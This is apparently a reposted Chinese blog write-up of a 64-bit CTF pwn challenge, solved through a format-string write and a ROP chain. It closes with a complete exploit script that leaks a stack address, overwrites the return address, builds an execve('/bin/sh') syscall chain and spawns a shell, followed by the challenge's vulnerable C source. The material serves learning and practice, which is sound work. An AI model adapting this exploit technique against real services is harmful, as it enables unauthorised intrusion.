CTF-浅尝64位栈溢出PWN

来源:互联网 发布:淘宝网争议处理规则 编辑:程序博客网 时间:2024/05/22 10:25

干了一早上终于把这道’难题’做出来了,实在是不容易。头一次完完全全的做出64位的pwn题,如果就栈溢出来说的话,其实感觉和32位的也差不多。至少这方面没有遇到太大的困难,做64位的题对汇编指令的要求就更高了。正好一边做题,一边多学点汇编。
收获是很大的。


正文

刚开始被一个逻辑漏洞cmp给卡着,一直没有跳到真正产生漏洞的地方,好不容易跳过去了,结果被我自己坑了(写脚本的时候,没有考虑缓冲区的影响,经常得不到自己想要的结果)。。几经周折终于调试正确。剩下的就是构造rop链,由于是静态编译,这一点也没什么难度,只要知道syscall对应的中断号和参数即可。
最后跌跌撞撞总算是get shell了。
在这里还是和大家分享一下,那些年我所犯下的错。
习惯性的检查。
这里写图片描述
开了栈保护,那就很难去通过栈溢出覆盖返回值了。
自己运行一下程序也没什么特别之处。
IDA看看,是个静态编译的程序
。。这里有小技巧,如果不说下可能还真不知道。有时候IDA没有把这段代码识别为一个函数,我们可以手动右键create function(忘记截图。尬),之后再反汇编。(我自己都给忘了,直接看汇编给整出来的。汗!)
这里写图片描述
反汇编之后这个逻辑就比较明显了,通过一个cmp我们进入到game这个函数
这里写图片描述
再看看formatformat都是什么
这两个都在data段,并且可写。大概就是怎么写,写什么的问题了
漏洞大概找到了。接下来就是调试阶段。比较痛苦~!
先想办法把cmp给绕过。
这里写图片描述
我们先照着逻辑写一下。可以知道rdi是第一个参数,rsi是第二个参数。
有关64位怎么传参可以参考这篇文章

http://www.linuxidc.com/Linux/2013-09/90063.htm

再看看此时寄存器的值。咦不对。进到cmp里面看看。
这里写图片描述
这个才是真正的cmp函数,此时寄存器的值才是真正的参数。
这里写图片描述
只需要使相应的值为’\x00’即可。我建议是多看看汇编,这就不用猜了,直接算偏移量。
这里写图片描述
正确的结果是ZF为1。这是个零位标志寄存器。
有关标志位寄存器,可以参考下这篇文章。

http://blog.sina.com.cn/s/blog_87c063060101bcwt.html

第一步完成了!但还远没有结束!

这里写图片描述
这里写图片描述
通过这个getstr可以写入0x28个字节,观察下发现,可以将s修改为format的地址。这就可以通过memcpy将数据copy到format中去了,别问我怎么知道的,实在是无法解释的太细,自己把这段代码都看看就知道了。
这里写图片描述
这是getstr函数,它会将字符串结尾的后一个字符置为’\x00’
所以我们在输入的时候就会发现
未输入:
这里写图片描述
输入之后:
这里写图片描述
发现不同了吗??
当时被这给坑的丫,不要不要的。这就会直接导致memcpy的位置不正确。
Format之后的一个字节变成了’\x00’,这可不是我想要的,那怎么办?
我是这么解决的。

payload='1'*0x20+l64(0x6C1080)payload=payload[0:38]           #zhe shi yi ge ken dianio.writeline(payload)

我就只输入38个字节,反正也没影响,这就刚好避免了。
问题解决!
通过第一个printf泄露stack地址
通过第二个printf修改返回地址。接下来就是构造rop链。
有关64位系统调用可以参考这篇文章。

http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

简单说一下吧。
由于两个format之间只差0x80个字节,因此我们也只有这么大的空间去构造rop链,所以有的没什么必要的参数可以不用构造。
最后getshell。
这里写图片描述

写在最后:咦~怎么有个栈保护呢,(这我好像还真没注意,不过对的栈溢出没有什么影响)
哦!对了,这题应该不能算是个栈溢出,我们向其中写的数据是它所允许的长度,最后是通过格式化字符串来修改返回值的,因此可以绕过栈保护。一道题可以有多个漏洞,我们要尽量的将漏洞找齐了。
心得体会:从早上8点一直到13:30,做了将近6个小时,第一次做64位的题确实有点不适应,每个地址都这么长,眼睛都看晕了,今天确实收获很多,也是头一次完全看汇编做的题,学到了很多。
路还长~加油!

from zio import *import structimport timetarget = ('127.0.0.1', 10000)#target=('218.2.197.235', 20334)io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))c2=raw_input("go?")io.read_until('play a game')format1='%7$ld'+'\x00'+'1'*2                #format#rop#format1+=l64(0x400867)  #pop rdi rbp#format1+=l64(0x1)#format1+=l64(0x0)#format1+=l64(0x47504A) #pop rax#format1+=l64(0x0)   format1+=l64(0x437699)    #pop rdx rsiformat1+=l64(0x10) format1+=l64(0x6C2D40)  #bssformat1+=l64(0x437697)  #syscall pop rdx rsiformat1+=l64(0x0)format1+=l64(0x0)format1+=l64(0x47504A)  #pop raxformat1+=l64(0x3b)format1+=l64(0x400867) #pop rdi rbpformat1+=l64(0x6C2D40)format1+=l64(0x0)format1+=l64(0x437697)  #syscallformat1+=l64(0x0)format1+=l64(0x0)format1+=l64(0x0)format1+='%'+str(0x493)+'d'+'%8$hn'+'a'*25+'\x00' #format1 pop r12 retindex=len(format1)payload=format1payload+='1'*(0x1f4-index)+'\x00'       payload+='1'*(0x400-0x1f4)io.writeline(payload)c2=raw_input('go?')io.read_until('oh,where are you come from?')payload='1'*0x20+l64(0x6C1080)payload=payload[0:38]           #zhe shi yi ge ken dianio.writeline(payload)io.read_until('I know!')test=io.read(16)stack=int(test,10)ret=stack-0x8print hex(ret)payload=l64(ret)+'a'*0x8io.writeline(payload)c2=raw_input('go?')io.writeline('/bin/sh\x00')io.interact()

一不小心找到了源码,大家可以看下。可能我之前有个地方解释错了额(getstr())

#include<stdio.h>#include<string.h>char formt[100]="hahaha,come to hurt by ourselves!!!";char formt1[100]="bye bye!!";char s[2000]={0};void getstr(char *s,int index);void game(char *name);int cmp(char *a,char *b);int main(){char name[1032];name[1024]='\x0a';name[1025]='\x0a';name[1026]='\x0a';name[1027]='\x0a';name[1028]='\x0a';name[1029]='\x0a';name[1030]='\x0a';name[1031]='\0';setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);printf("hey,xman!\n");printf("let's play a game\n");getstr(name,1026);if(cmp(&name[1025],name)==0){printf("you made it!!!\n");  printf("now!,let's begin\n"); game(name);}else {printf("0h,you lose it!\n");exit(0);}exit(0);}void game(char *name){char test[40];long int buf[6];buf[4]=(long int)s;buf[5]=(long int)name;printf("oh,where are you come from?\n");getstr((char *)buf,40);memcpy((char *)buf[4],(char *)buf[5],256);printf("I know!\n");printf(formt);getstr((char *)buf,32);printf(formt1);}void getstr(char *s,int index){int i=0;for(;i<index;i++){scanf("%c",&s[i]); if(s[i]=='\n'||(s[i]=='h'&&s[i-1]=='s'))     break;}s[i]='\0'; }int cmp(char *a,char *b){return strcmp(a,&b[500]);}
原创粉丝点击